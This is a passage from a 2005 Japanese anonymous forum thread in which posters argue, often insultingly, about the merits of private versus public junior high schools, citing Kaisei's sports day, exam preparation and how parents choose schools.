>>348
以前から必死に書き込んでいるなw
あんなの激増のうちに入らんよ。

357 :実習生さん:2005/04/10(日) 13:58:54 ID:vzqtJl2X
>>355
だ〜か〜ら〜
それじゃ文字通り「開成は運動会やってます」だけなんだよな〜
お前「公立中と私立中の知育の違いから私立中及び私学の利点を答えろ」
と言う命題に「開成の運動会」という一言で及第点取れると思っているとでも?

底辺大学のレポートでもそんな酷い回答は無いぞ。

「できませんっ」て言うDQNの方がお前よりマシだよ。

358 :実習生さん:2005/04/10(日) 14:02:02 ID:SAvAjLxk
>332
公立の運動会・・・やらされてる。
開成の運動会・・・自分で調べろ。

おまえにきいてるのは開成の運動会だ。
なぜ聞いてもいない公立の運動会については答えて、開成の運動会には答えないんだ。
公立中出身なんだろ?、私立の情報はHPでしか得られないんだろ?、図星だろ?w
開成の運動会のどこが公立のと比べてすばらしいのかを教えてくれよ、早く。
全部すばらしいなんて答えるんじゃないぞw

359 :実習生さん:2005/04/10(日) 14:07:50 ID:hw5uHaRQ
公立です。DQNです。漏れも、センコウも。でそれがなにか・・・
運動会?毎年ワンパターンの退屈な時間。創造性のかけらも無い。
ルーティンワークです。

360 :実習生さん:2005/04/10(日) 14:31:26 ID:GQopQsEN
公立だけど、運動会ってけっこう面白かったけど。
もっとも私は実行委員になる程の熱意はなかったけど、
立候補してなった奴なんかもう終わった後感激の余り泣いてたよ。
あんだけ打ち込めるなんてちょっと羨ましかったね。

361 :実習生さん:2005/04/10(日) 14:41:49 ID:omwcOqgM
教育界も早く民営化して欲しい

362 :名無し@教育板:2005/04/10(日) 14:46:19 ID:Z5F6tR0t
>>357
ID:vzqtJl2X

おまえも本当に馬鹿なんだね。

>>350
>ごめんなさい知りません」と言えば済むんだよ
>強がりで無能の名無しくん

>>357
>「できませんっ」て言うDQNの方がお前よりマシだよ。

とか書いて、教えてもらえると思っているのか?

第一、

>「公立中と私立中の知育の違いから私立中及び私学の利点を答えろ」
と言う命題

って命題からして間違っている罠。



363 :名無し@教育板:2005/04/10(日) 14:50:13 ID:Z5F6tR0t
>>359
>>360
あたりでいいヒントが出ているじゃんかよ。

>>320に返ってみろよ。

ってか、オレが今ここでおまえらに教えてやっているやり方が、開成を含めた私立中学でのやり方そのものなんだがな(w

364 :実習生さん:2005/04/10(日) 15:40:14 ID:HODTm8af
今も麻布は体育祭はあるのかな。
昔は体育祭が無かったんだが、生徒が校長に掛け合って体育祭が行われるように
なった。

365 :実習生さん:2005/04/10(日) 15:47:24 ID:vzqtJl2X
>>362
つまり、ヤッパリ具体的には何も書けないんですね?

そうですね?

私学の、知育教育の、更にはたった一校の開成とまで限定しておいて
書けないと言う以上

「すいません、ボクは知ったかやってます」

という事だよな?誤魔化すなよ妄想野郎。

そうである以上、お前はもう偉そうに私学の知育について何も語るな
全部妄想上の出来事なんだから。或いは「僕の脳内では」と限定しろ。

366 :実習生さん:2005/04/10(日) 16:39:42 ID:2VXtTl0i
体育祭?
体育祭に限らず、公立の行事はやらされている
私立は生徒主体
これだけでも全然別物www

367 :実習生さん:2005/04/10(日) 16:58:14 ID:J03PhZKw
>>352
>日比谷とかの一部の学校の努力は賞賛すべきだと思うけど、公立中が悲惨すぎる。
あんたが悲惨な公立中しか知らないだけ。
日比谷なんぞはそれほどのものじゃないよ。

>>366
>体育祭に限らず、公立の行事はやらされている
>私立は生徒主体
私立もいろいろ、公立もいろいろ。
やらされている私立もあれば生徒主体の公立もある。


368 :名無し@教育板:2005/04/10(日) 18:05:21 ID:Z5F6tR0t
>>365
おまえホントに馬鹿なんだね。

>>「公立中と私立中の知育の違いから私立中及び私学の利点を答えろ」
と言う命題

>って命題からして間違っている罠。

って丁寧に指摘してやっているんだから、自分の間違いに気づけ。

本来なら「運動会」という具体例を挙げている時点で、

「知育」

の話じゃないってことがわかるのが、頭の中に脳みそのある人間なんだがな。

だいたい

>つまり、ヤッパリ具体的には何も書けないんですね?

って、学校名と学校行事まで挙げて具体的に書いているけど読めないのか?



369 :実習生さん:2005/04/10(日) 18:17:28 ID:8C6mBGzW
公立中は何処も最悪です。馬鹿ばっかりです
逝ってる本人が言うんだから間違いないです
私立中に逝った友達が羨まし過ぎます。

逆に良いといわれる公立中、教えてください
そこへ、明日転校します。


370 :実習生さん:2005/04/10(日) 18:17:51 ID:pnCLTWCG
公立のごみどもが何かほざいてるな

371 :実習生さん:2005/04/10(日) 18:49:48 ID:OnMNUC01
私立一貫校に入ったものの合わなくて公立に転校したがってる人っている?

372 :実習生さん:2005/04/10(日) 19:51:11 ID:vdxeu4oe
公立中学校に通っている者ですが、
私立から公立に転校したがっている人なんて存在しないと思います
付近の公立に通っている人なんて、ほとんどが烏合の衆、馬 鹿 ですよ

小学生の頃にこのスレを発見しておけばどんなによかったか
もう高校生活に全てを懸けるしかない…

373 :実習生さん:2005/04/10(日) 20:26:32 ID:HODTm8af
公立には公立の、私学には私学の利点があるんじゃないの?
私学の利点を挙げろと言われたら、一般的なことは挙げられると思うけど。

374 :名無し@教育板:2005/04/10(日) 20:40:06 ID:Z5F6tR0t
>>364
麻布も「運動会」で「体育祭」とは言わんだろ。
もちろん今でもやっている。髪の毛の色がカラフルになるので有名。
ただ、「運動会やりたくて開成に入った」香具師はいるけど、
「運動会やりたくて麻布に入った」香具師はいないんじゃない?
開成と麻布は運動会の真剣みにおいて越えられない壁がある(w
もっとも武蔵の運動会はもっとしょぼいけどね(w
麻布の場合の真剣さは文化祭に注がれる。

375 :実習生さん:2005/04/10(日) 20:51:28 ID:OJmP09hM
名無し@教育版 殿

で、「運動会」事例の他の良例はないのですか?
できれば全く異なる、かつ偏差値が中堅〜下位レベルの私立の事例がよいのですが。

二つ以上を比較して、その共通点とかについて確認したいのですがな。

376 :実習生さん:2005/04/10(日) 21:14:52 ID:mv60hjqC
>>342
御三家の下に位置する男子中高一貫を卒業。
中2の時、英語をサボっていたら地を這うような成績になったが、
極めて少人数のクラスをいくつか作ってくれて丁寧に教えてもらった結果、得意になり
その後、英語については学校の勉強のみで全統模試だと75程度をキープ。
物理、化学についても朝補講をやってくれて希望者が参加。
数学は高1で数2まで終了し、高2文系クラスは数2までの演習。理系は数3。数学の授業レベルは高い。
授業については結局高校の先生が中学も教えているということなのかな。
教え方の上手い先生も下手な先生もいたが熱心な先生が多く、
試験が近づくと先生に列をなして質問攻めだったがよく対応してくれていたと思う。
一部クソのような授業をする教師は居眠りと内職の洗礼に会う。
部活・体育祭・文化祭などは中学の時から高校生と一緒に出来る部分が多くて
自分としては非常に楽しかった。

予習も復習もせずサボりまくっていれば超底辺が低位置になり、それをほって置けば
大学受験で取り返しがつかなくなるのでそこそこの勉強はするべし。
しかし少数を除き高2までは部活や遊びに精を出している奴が多かったと思う。
高入生は高2から中入と混じるので高1の時の勉強はきつかった とのこと。
以上まとまらないけど何かの参考に。


377 :実習生さん:2005/04/10(日) 21:19:34 ID:mv60hjqC
376だけど342ではなくて334へのレスです。
間違えてスマン。

378 :実習生さん:2005/04/10(日) 23:25:32 ID:vzqtJl2X
>>375
無理無理(w…今ごろ必死なってネット上を探してんじゃない?
まあ、奴は引きこもりの可能性も大だから一発奮起すりゃあかなりの範囲まで
調べ上げる事もできようが。

>>372
逆に考えてみりゃそうやって高校に全てを懸ける事が出来るのが公立中
もとい非中高一貫のよさ。仮に中高一貫だと自分に合わない状態で
あと三年はその環境だぞ。

中高一貫に限ってそんな事は無い、という事はありえないわけで

379 :実習生さん:2005/04/11(月) 00:01:59 ID:CK7iFXEW
>>376
公立じゃ有り得ない話だな。
別に高校名隠す必用ないとと思うけど。
自分が頑張ったんだから自信を持つべき。
そして、そういう環境を用意してくれた学校には敬意と感謝の気持ちがあるのなら
堂々と高校名を名乗ればいい。

380 :実習生さん:2005/04/11(月) 00:33:49 ID:/Syj5A9g
オレは、区立中>都立校>小金井の大学ときて
そのあとしばらく遊んで、今教員なんだけど、
正直、うちの子供は公立に行かせるか私立に行かせるか迷ってる。

まあ、まじめに勉強するやつなら、
高校選択の時期に進路を決めても何とかなると思うので、
中学は地元に行かせて、高校で本人に選ばせるよ。
その選択する能力も得られず、機会も与えられないと
自分の努力不足の責任をすぐ転嫁する人間になっちゃうからね。

そういう親子うちの学校(一貫、男子、進学、伝統校)で
腐るほど見てるから。

けど、どうしても本人が中学から私立がいいっていったら、
うちに入れるかな。
試験では優遇一切ないけど、タダだし。w

381 :実習生さん:2005/04/11(月) 01:13:38 ID:XYyUk84z
なるほど!学芸大は中高の生徒は優秀だが
大学は地象ばかりと言う噂は本当だったみたいだなw
道理で付属中高の奴らから馬鹿扱いされているわけだww

382 :名無し@教育板:2005/04/11(月) 07:53:08 ID:bkL6n2Vd
>>375
318 名前: 名無し@教育板 投稿日: 2005/04/10(日) 00:54:24 ID:Z5F6tR0t
教育の中身は、知育だけに限らない。
そして知育においても、大学受験に合格するような学力の養成なんてほんの部分的なものにすぎない。

に対して、

>で、「運動会」事例の他の良例はないのですか?
>できれば全く異なる、かつ偏差値が中堅〜下位レベルの私立の事例がよいのですが。

>二つ以上を比較して、その共通点とかについて確認したいのですがな。

という問いかけの頭の悪さ加減がわかんないの?
こんなアホな質問する香具師に答えてもまったくの無駄だろ。

いいか? おまえの質問は、
「私立中学では、受験学力の養成以外にどんな教育をやっていますか?
具体的事例をあげてください」
ってことだろ。

考えてみろ、誰がそんな馬鹿をまともに相手にしてくれるか?






383 :実習生さん:2005/04/11(月) 11:32:55 ID:SzMOH9Ek
私立中学は大抵進学先で勝負してきたんだけどね、最近数が増えすぎて
本来なら公立に行っても真ん中がいいとこだった層まで私立に流れ、
そういうのも私立中学の経営者から見ればお客様(カモ)だからそういう
お客様達からクレームが持ち込まれない様に色々オプション付けて
大学進学率ではなく環境をかってくれということになってる。
たとえ底辺私立でもたまにいい大学に何人か入る事はあるけど、
そういうのは入ってから親も現実が解ってまたまた塾通いと予備校通いの
毎日での結果であって私立中学にいったからではない。
おかげで親はそうとうの教育費を負担する事になるという現実。

384 :実習生さん:2005/04/11(月) 11:37:48 ID:IR/G//Hq
VIPにスタア錦野旦降臨中!記念カキコしる!
http://ex10.2ch.net/test/read.cgi/news4vip/1113134788/l50


385 :実習生さん:2005/04/11(月) 12:21:53 ID:FywLzPri
で、名無し 殿に聞くけど、

>教育の中身は、知育だけに限らない。

あなたの私見で構わないので、知育以外の教育の中身の具体例を「運動会」以外でご教授下さい。
出来れば、偏差値的に高中下別、男子校、女子校、共学校別&実名がいいのですが。

>そして知育においても、大学受験に合格するような学力の養成なんてほんの部分的なものにすぎない。

「知育」のうち、受験学力養成は「部分的」だそうですが、その他の部分的要素はなんですか?
あなたの私見で構わないのでご教授下さい。

以上、世間のアフォな人たちに向かってよろしくお願いします。


386 :名無し@教育板:2005/04/11(月) 12:32:00 ID:FdFsC5bA
>>385
>以上、世間のアフォな人たちに向かってよろしくお願いします。

ID:FywLzPriよ、おまえ「世間のアフォな人たち」って、おまえほどアフォなのはそうは世間にいっぱいいないぞ(w
それほどオレの話が聞きたいなら、まず、オレに質問した事項に関して、自分の経験から学んだ自分なりの答を「具体的に」ここに書いてみろ。
話はそれからだ。



387 :実習生さん:2005/04/11(月) 12:39:20 ID:FywLzPri
>>386

あの、何か人違いされているようですが、私はあなたに「質問」されていませんがw
それに、私が仮に「公立マンセー」だとしたら、私の経験&自分なりの答えは、あなたの想像通りで構いませんよ。

あなたの、「私見」に興味があるのです。

私ほどのアフォは確かに世間にあまり存在していないかもしれませんがゼロではないでしょうww
その貴重な少数派に、貴君の是非崇高な意見拝聴させてください。


388 :名無し@教育板:2005/04/11(月) 12:49:54 ID:FdFsC5bA
>>387
>>386をもう一回嫁。

389 :実習生さん:2005/04/11(月) 13:04:46 ID:FywLzPri
>>388

こっちは貴君の想像通りって書いたはず。
そちらこそ>>387をよく読んでくださいw

ま、今回は、私の意見への議論はする必要が無く、「あなたの私見」をお願いしたわけですが・・・
不安であれば、あなたの私見に対して私自身「イチャモン」はつけないことを誓ってもよいのですが。

それでも「>>386」をもう一回嫁・・・・などと発言するつもりでしょうか?
どうやら、たかが2ch上であなたの単なる私見を伺うのに、かなり複雑な手続きが必要なんですねw
何か小難しい職業でもされているのですか?




390 :実習生さん:2005/04/11(月) 13:11:12 ID:xCk7HmU0
さてさて名無し君は今日も答えられない意見には答えないで逃げるのね〜

じゃ恥ずかしながら一例を。

俺の中学は公立ではあるが授業開始、終了の鐘が無かった。
それは時間を守る事を鐘ではなく自らの確認によって身に付けさせる為だそうだ
まあ、生徒としては授業開始の時刻に鈍感で終了の時刻に敏感なのはしょうがなかったが…


391 :名無し@教育板:2005/04/11(月) 13:21:05 ID:FdFsC5bA
>>389
>こっちは貴君の想像通りって書いたはず。

別に何の想像もしていないが・・・
あまり優秀な頭脳の持ち主ではない、というのはわかるが・・・

・おまえの経験から、知育以外の教育と思われる具体例を書いてみろ。

・「知育」のうち、受験学力養成以外の部分的要素に具体的にどんなものがあったのかをおまえの経験から書いてみろ。
中学段階に拘らないでよろしい。


>たかが2ch上であなたの単なる私見を伺うのに、かなり複雑な手続きが必要なんですねw

べつに複雑でも何でもない簡単なことだろ。
他人の名前を尋ねるのにまず自分から名乗れ、ってのと変わらんと思うがな。





392 :名無し@教育板:2005/04/11(月) 13:29:01 ID:FdFsC5bA
>>390
そうそう良い例じゃん。
それは、

>・おまえの経験から、知育以外の教育と思われる具体例を書いてみろ。

の答になっているな。他の香具師からの回答だが。

教育=知育、体育、徳育 の「徳育」の部分に相当するだろうな。

ID:xCk7HmU0 みたいに自分なりに具体例を挙げてみろ。
そうすると・・・

393 :実習生さん:2005/04/11(月) 15:01:21 ID:T4nuVjEI
>390
もうしばらくおまちを。
ただいまネットで必死にさがしてるんだけど、進学実績の例しかみつからなくて苦労してるんです。
やっとみつけた開成の運動会では馬鹿にされまくってるのでね。w



394 :実習生さん:2005/04/11(月) 15:22:42 ID:SzMOH9Ek
大抵の親は進学実績をかうからね。
それ以外はおまけみたいなもの、おまけがほしくてお菓子をかうのは
子供だけでしょ。

395 :名無し@教育板:2005/04/11(月) 15:42:22 ID:FdFsC5bA
>>394
>大抵の親は進学実績をかうからね。
>それ以外はおまけみたいなもの

受験学力の養成以外はおまけみたいなもの、
と平気で言える人間、それがDQNなんだろうな。
そしてそういうアホが子供を公立中に行かせる。

396 :実習生さん:2005/04/11(月) 17:02:04 ID:QGr+21/L
>>395
>受験学力の養成以外はおまけみたいなもの、
>と平気で言える人間、それがDQNなんだろうな。
>そしてそういうアホが子供を公立中に行かせる。

そういう親は私立志向の親に多いと思うよ。
公立の親は
近くの公立に行けば良い、近所の友達もいるし進学は何とかなると考える親か、こういう事も考えない親かの
どちらかだと思う。
この逆が私立志向の親。
親代々私立で私立に行かせる親も少数はいるが、大部分は進学実績が学校選択の大きなウエイトを占めている。
そうじゃなきゃこんなに私立に行く子は増えない。
大学への進学実績が良い年の翌年のその私立中学の受験倍率が上がるのがその証拠。




397 :実習生さん:2005/04/11(月) 17:36:46 ID:T4nuVjEI
>395
受験学力の養成以外がおまけだと言う人間がDQNなら
それをアピールしてる私立中(すべての私立じゃない)に通わせる親がDQNだろ。
受験学力の養成をアピールしてる公立中学がこの世の中にあるのでもいうのか?w

398 :名無し@教育板:2005/04/11(月) 17:46:01 ID:FdFsC5bA
>>397
>受験学力の養成以外がおまけだと言う人間がDQNなら
>それをアピールしてる私立中(すべての私立じゃない)に通わせる親がDQNだろ。

またかよ、このガサツな論理展開・・・

受験学力の養成をアピールする学校はそれはそれで別におかしくないじゃん。
ひとつの長所なんだからな。
しかし、それだけ・・・おまけ、なんて誰も思っていないだろ?

受験学力養成だけがすべてです! と言い切る学校、
他はおまけです、と言い切る学校、
そういう学校があったとしたら、そりゃそこに行かせる親はDQNだがな。

もうちょっと緻密にな(w

399 :名無し@教育板:2005/04/11(月) 17:55:34 ID:FdFsC5bA
>>397
>受験学力の養成をアピールしてる公立中学がこの世の中にあるのでもいうのか?w

そりゃそうだ。受験学力養成をアピールできる公立中学がこの世の中にないんだからな。

400 :名無し@教育板:2005/04/11(月) 18:04:35 ID:FdFsC5bA
>>396
あのねえ・・・受験学力の養成ってのも必要なことなわけ。
知育もそう。
徳育もそう。

そのどれかだけで、あとは「おまけ」ってのはDQNだけど、
それぞれきちんとしているに越したことはないのであって、
そのどれかにウエイトを置いて期待する親はそれはそれでいいんじゃないの?



401 :実習生さん:2005/04/11(月) 18:06:14 ID:T4nuVjEI
>398
受験学力がすべてですっていってる公立中学があるのか?ないだろ。
受験学力をアピールしてる私立中学はあるだろ?
私立中学を選ぶ際に受験学力の養成を最重要視して選ぶ親がいないとでもいうのか?
いるだろ。
その親にとっては受験学力の養成以外はおまけになるの。
おまけなんだから、一切関係ないって事にならないの。
考慮はするが、重要じゃないって事になるの。
あほでもわかるかな?
「受験学力がすべてですと言い切る学校」なんて表現をするあほには理解できないかもねw。



402 :名無し@教育板:2005/04/11(月) 18:09:38 ID:FdFsC5bA
それと「進学実績」と「受験学力の養成」はリンクしているとは言いがたい。
たとえば、入学者偏差値の割りに進学実績が良い学校は「受験学力の養成」力はあると思われるが、
御三家あたりはその点ではあまり良いとは言えない。
かえって偏差値の低い私立や受験少年院系の方が「養成力」がある。


403 :名無し@教育板:2005/04/11(月) 18:21:32 ID:FdFsC5bA
>>401
>受験学力がすべてですっていってる公立中学があるのか?ないだろ。

私立中学にもない(w

>おまけなんだから、一切関係ないって事にならないの。
考慮はするが、重要じゃないって事になるの。

「おまけ」が一切関係ないわけじゃなく、考慮するんなら、「おまけ」じゃないだろ・・・(呆)




404 :実習生さん:2005/04/11(月) 18:35:03 ID:T4nuVjEI
>403
おまけなんだから考慮するにきまってるだろ。w
考慮するけど重要視しないからおまけっていうんだよ。
あほでもわかる例だぞ。
AとBのペットボトルのお茶を買うときに両方ともおまけがあって
Aのおまけのほうがいいかなって思えばAを買うってのが普通。
しかし昨日はA飲んだから今日はBにしようってのもたかがおまけなんだから当然あるんだよ。
さすがのあほでもわかるだろ?w

405 :実習生さん:2005/04/11(月) 18:50:02 ID:/xZFLV4d
中堅中位以上(50以上)は大学受験目的がほとんどだろうけど
それ未満(50未満)は公立回避が多いような気がする

406 :名無し@教育板:2005/04/11(月) 20:08:34 ID:FdFsC5bA
>>404
>AとBのペットボトルのお茶を買うときに両方ともおまけがあって
>Aのおまけのほうがいいかなって思えばAを買うってのが普通。

すまん・・・おまえはそれが普通なのかもしれんが、
オレを含めふつうのまともな大人はペットボトルのおまけなんか全く考慮に入れていないんだが・・・

>>394 の言う
>おまけがほしくてお菓子をかうのは子供だけでしょ。

に限りなく近いと思うぞ、おまえは。

そういえば、DQNは「ボスジャン」とかのおまけをよく着ているな・・・
あれ、シール集めたりしてもらうんだろ(w

とりあえず、「おまけ」を少しでも考慮する時点でDQNだと思う(w


407 :名無し@教育板:2005/04/11(月) 20:16:17 ID:FdFsC5bA
いずれにせよ、中学校における「受験学力の育成」以外の知育、教育はおまけ=ペットボトルについてる携帯ストラップとか程度のもの
なんて思っている親はいないだろう。

ID:T4nuVjEI みたいな公立マンセーが必死になっているのは、
受験学力養成を除いたら、私立と公立は変わらない、ということを言いたいのだろうが、それは激しく買いかぶりだ罠。
公立は知育、教育全般、全部ダメだよ。

408 :実習生さん:2005/04/11(月) 20:59:42 ID:T4nuVjEI
>406
何をおまけと考えるかが人それぞれちがうんだよ。w

入試の偏差値、校風、通学時間は重視するが部活はどんな部活でもいいやって
思ってる人が、A校は5つしか部活がない、B校は20ある。
やっぱり選択肢多いほうがいいし、B校にするかあってのは部活の数という「おまけ」で
判断したことになるんだよ。

女子校、部活(硬式テニス部がある)、通学片道一時間以内っての条件の人が
A校ブレザー、B校セーラー服で子供がブレザーがいいっていって
A校を選ぶのはブレザーという「おまけ」で判断することになるんだよ。

部活もブレザーも条件ではなくどっちでもいいけどどっちかを選べといわれたら
こっちを選ぶという程度のおまけなんだよ。あほだとこれでもわからんだろうけどな。
つぎはどういうのをいってくるか楽しみにしてるよ。w

409 :実習生さん:2005/04/11(月) 21:36:09 ID:T4nuVjEI
>407
私立と公立は違うって思ってるよ。
だから私立と公立がどう違うのかを書いてくれっていってるのに
HPにのってる開成の運動会以外、他にでてこないんだよ。
受験学力養成以外がなんで運動会になるのが意味不明なんだがな。w
受験学力養成以外の知育とかなんかないのかね〜?
さすが私立だねやっぱりすごいね〜って思える事ほんとになんか書いてくれよ。
公立の中傷だけはお盛んなんだけどね。w
やっぱり公立中出身者には無理なんだろうかね。

410 :名無し@教育板:2005/04/11(月) 21:45:17 ID:FdFsC5bA
>>408
話をそらすな!!!

元々、↓

394 名前: 実習生さん 投稿日: 2005/04/11(月) 15:22:42 ID:SzMOH9Ek
大抵の親は進学実績をかうからね。
それ以外はおまけみたいなもの、おまけがほしくてお菓子をかうのは
子供だけでしょ。

↑が持ち出した話だ。
少なくとも>>394は、「進学実績以外」を「おまけ」と言っているわけだ。

ペットボトルのキャップとか、クラブの数でとか、ブレザーorセーラーとか、そんなものはおまけでいいよ。
そんな話はしていないんだよ。
しかし、進学実績以外=進学に関係しない教育=おまけ でないことがわからんのか?


411 :実習生さん:2005/04/11(月) 21:51:18 ID:9S0QAkVu
多分、名無しは公立中に居た頃に相当深いトラウマでも有るんだろう。
最初っから最後まで公立批判、私立擁護或いは私立肯定と言うよりは
公立批判ね。「そういうスレタイだから」と言うレベルじゃなく
もはや一日一回は公立に毒を吐かなきゃ済まない感じ。

大体具体例を上げて論を展開するのは公立批判の時だけで
私立擁護の場合は殆ど聞きかじり或いはHP上の調査だけだろ?

いかに公立が全国一律の指導要領で有っても、教えている人間が違ったり
まあ、学校ごとに結構な差が有るのに端から無視しているからな。
「自分が体験した悪夢のような公立体験」それが彼の考える公立の全てなんだろう…

412 :実習生さん:2005/04/11(月) 22:11:44 ID:jWuR43Mj
>多分、名無しは公立中に居た頃に相当深いトラウマでも有るんだろう。
最初っから最後まで公立批判、私立擁護或いは私立肯定と言うよりは
公立批判ね

まあ、社会党&共産党と同じで、批判だけなら誰でも出来るっていうレベルじゃない?w
重箱の隅をつつく行為は、一番「ラク」だからね〜

413 :実習生さん:2005/04/11(月) 22:23:32 ID:iJxjiCRE
公立マンセーっていったい何者?

414 :実習生さん:2005/04/11(月) 22:24:59 ID:T4nuVjEI
>410
話そらしてないよ。w

> そんな話はしていないんだよ。
そりゃお前はしてないよ。漏れがしてるんだから。w

進学実績以外に進学に関係しない教育は含まれるが、
進学に関係しない教育だけが進学実績以外というわけではないよ。

進学実績以外=おまけだと考てる親が子供を私立に行かせてるってのも事実なんだよ。
進学実績というより偏差値になるんだろうけど偏差値で、
とりあえず数校(3〜5、6校)程度を選び、その中からおまけにあたる、
男子校か女子校か共学か、キリスト教系か仏教系か
通学時間が○時間以内かどうか部活や制服の事とかで選択する。
夏の段階でこの学校と決めても11、2月ごろに偏差値が上昇しちゃうと
とたんに今まで決めた学校をもう一度選びなおすなんて事もやるからね。
ああいっとくけどすべての親じゃないよ。
こういっとかないとまた絡んできそうだからなw
私立に行かせる親の何割かはこういうタイプなんだよ。
塾の教師をやった事があるか知り合いにいてればわかるとおもうよ。w


415 :実習生さん:2005/04/11(月) 22:35:34 ID:D05j3Nd/
確かに宗教をオマケと考えている親は多いけれど、自分には考えられない。
だけど、女子校×、宗教系×、大学付属×・・・と削っていくと、選択肢が
限りなく狭くなってしまい、むしろ公立のほうが選択の幅が広くなって
しまうというジレンマが生じる。


416 :名無し@教育板:2005/04/12(火) 00:00:08 ID:FdFsC5bA
>>414
>私立に行かせる親の何割かはこういうタイプなんだよ。

まず、おまえの話は「何割か」になっているな。そこからして、

>394 名前: 実習生さん 投稿日: 2005/04/11(月) 15:22:42 ID:SzMOH9Ek
>大抵の親は進学実績をかうからね。

とは全然話が変わっているな。そして、

>進学実績以外=おまけだと考てる親が子供を私立に行かせてるってのも事実なんだよ。

これは、完全にウソだよね。

>進学実績というより偏差値になるんだろうけど

ほら見ろ。進学実績=偏差値じゃないことは明らかだもんな。

>偏差値で、
とりあえず数校(3〜5、6校)程度を選び、その中からおまけにあたる、
男子校か女子校か共学か、キリスト教系か仏教系か
通学時間が○時間以内かどうか部活や制服の事とかで選択する。
夏の段階でこの学校と決めても11、2月ごろに偏差値が上昇しちゃうと
とたんに今まで決めた学校をもう一度選びなおすなんて事もやるからね。

と選び方は、「私立中」ということで選んで、あとは、偏差値という「おまけ」で選んでいるという解釈もできるな。





417 :名無し@教育板:2005/04/12(火) 00:07:22 ID:5YgkUcj3
>394 名前: 実習生さん 投稿日: 2005/04/11(月) 15:22:42 ID:SzMOH9Ek
大抵の親は進学実績をかうからね。
それ以外はおまけみたいなもの、おまけがほしくてお菓子をかうのは
子供だけでしょ。

↑の話を

私立に行かせる親の「何割か」は偏差値を基準に学校を選んでいる

とすりかえているだけじゃん。

そりゃ偏差値が足りなきゃ受かんないんだから、それを目安にするのはあたりまえだろ。
それをもって親が「受験学力養成以外はおまけ」なんて考えているなんて、まったく筋違いもいいとこだ。


418 :実習生さん:2005/04/12(火) 00:31:14 ID:kYqkVHTJ
>416
話が変わってるってw。。。
394は漏れじゃないんだから違うのは当たり前だろ。
変なこという香具師だな。
この話題に関しては397が漏れなんだよ。w

> >進学実績以外=おまけだと考てる親が子供を私立に行かせてるってのも事実なんだよ。
> これは、完全にウソだよね。

本当なんだから仕方ないわなw。そうそうもちろん全部の親じゃないよ。w 
また言っとかないとここだけ抜き出して、すべての親が云々って言い出しそうだからな。

何割かなんて言い方をするのは当たり前だろう。私立希望者が何人いてて
そのうち何人が該当するかなんて明らかにすることは不可能。
そんな子供っぽいこといいだすなよ。精神が病んでるのか?

進学実績≒入学時の偏差値になってるのは明らかだろう。
入試時の偏差値ベスト10が進学実績のベスト10と大きく異なるのが何校あるんだよ
進学実績≠入学時の偏差値になってる具体的な学校名をあげて教えてくれよ。
9位が6位になる 7位が12位になるって程度の変動はあっても、
3位が129位とか64位が8位になるなんて事があるとでもいうのか?w


> 「私立中」ということで選んで、あとは、偏差値という「おまけ」で選んでいるという解釈もできるな。

そういうのをまさに屁理屈っていうんですよw。お子ちゃまらしい発言ですねw
じゃあもっといえば「日本の中学」ということで選んで、
私立中という「おまけ」で選んでるっていう解釈も確かにできるね。
これで満足かい?w

次待ってるよ〜。w

419 :実習生さん:2005/04/12(火) 00:51:16 ID:AXaK9EaZ
本当に頭が良ければ、公立行っても問題はないよ。
むしろ、私立に行かせて必死に勉強させないと
ものにならない子供が私立に行くんでしょ。
あるいは、いい大学出て、いい会社に入らないと
困る、っていう家庭はいわゆる中流家庭で、
いい大学に行かなくとも、いい就職しなくとも
別に困らない本当の富裕層は、中高一貫で必死になる必要もない。

つまり、本当に頭がいいわけでなく、本当に金持ちでもない
中途半端な階級層が中高一貫に行くんじゃないかな。

420 :実習生さん:2005/04/12(火) 00:52:16 ID:kYqkVHTJ
>417
だから394は漏れじゃないってば。w
でもまあ「大抵の親」も、「何割かの親」も似たような感じでしょ。
個人的には「大抵」は5割から8割、漏れの「何割か」は2割から5割って意味で捉えてるけどね。

目安じゃなくてそれ以外の条件が基本的にはないから受験学力養成以外が「おまけ」になるんだよ。
受かるかどうかの目安ってだけなら、最初に50の学校を志望校にしたらたとえ55になろうと60になろうと
その学校を志望すればいいだけの話。
もちろん漏れも偏差値が届いてないのに、最初の志望校で行くべきだなんて思ってないよ。w
でも、偏差値があがったとたんに子供の意思関係なく
「こっちの学校に偏差値が足りてるのでいけますよね?」
ってなる親にはおいおいって思うだろ?w
最初は家から近い共学の宗教関係なく、比較的自由で自主自律の精神の学校を志望していたのに
偏差値があがると、男子校で頭から靴までがちがちに校則があるキリスト教系の学校に
ころっと変わったりね。さらにあがると今度は国立のほうが安くすみそうだしそっちに〜なんて
いい出す親もいてるんだよ。w

421 :実習生さん:2005/04/12(火) 01:09:21 ID:K6PoptsQ
まあ、真面目な話を久しぶりにするとだ
結局やっぱり親がかなりの部分その私立中進学に関与すんだろう?
前に名無しが「そうじゃない、気づかれないように誘導すんだ」なんて俺としては妄想と言うか
ヨタ話みたいなこと言ってたけど、それは無理なんだよ。

どこかで子供は気づく…それも大抵上手くいっていない時に。

当たり前のように中高一貫に入ったけど、人間関係が上手くいかない、或いは勉強に
ついていけない。親は親で「せっかく私立に行かせてやってんのに…」という視線を送る。
よくよく考えてみれば何で俺はこんな学校に入ったのだろう、何であんなに勉強したのだろう
何時の間にか塾に入ってたけど、親の喜ぶ顔が見たいだけだったような気がする。
親の笑顔を糧に「公立に入る奴は馬鹿だ」と思って入ったけど、随分と惨めな生活をしている。

ってなったときに中高一貫だと修正が効かないぞ。

422 :実習生さん:2005/04/12(火) 01:12:39 ID:PbeoHlNF
>>421

   ∩___∩         |
   | ノ\     ヽ        |
  /  ●゛  ● |        |
  | ∪  ( _●_) ミ       j
 彡、   |∪|   |        J
/     ∩ノ ⊃  ヽ
(  \ / _ノ |  |
.\ “  /__|  |
  \ /___ /

423 :実習生さん:2005/04/12(火) 01:16:05 ID:AXaK9EaZ
先日、子供の学区の公立中学の説明会がありました。

子供がもらった紙に書かれていたこと

「学校は勉強をする場所です。中学に入ったら次の事を守りましょう」
1、ベルがなったら席について立ち歩いたりしない
2、忘れ物をしない
3、授業中、静かにする。

ちょっと、驚きました。
何だか上記のような事は小学校入学説明会のようで
子供も「あたりまえでしょ、ねえ」と言っていました。





424 :実習生さん:2005/04/12(火) 01:32:11 ID:DdF/kLIG
419はいつものコピペ。
>いい大学に行かなくとも、いい就職しなくとも 別に困らない本当の富裕層
そういう人は小受でいなくなっちゃうでしょ。


425 :実習生さん:2005/04/12(火) 01:36:40 ID:IFrywxps
>>419
>いい大学に行かなくとも、いい就職しなくとも 別に困らない本当の富裕層


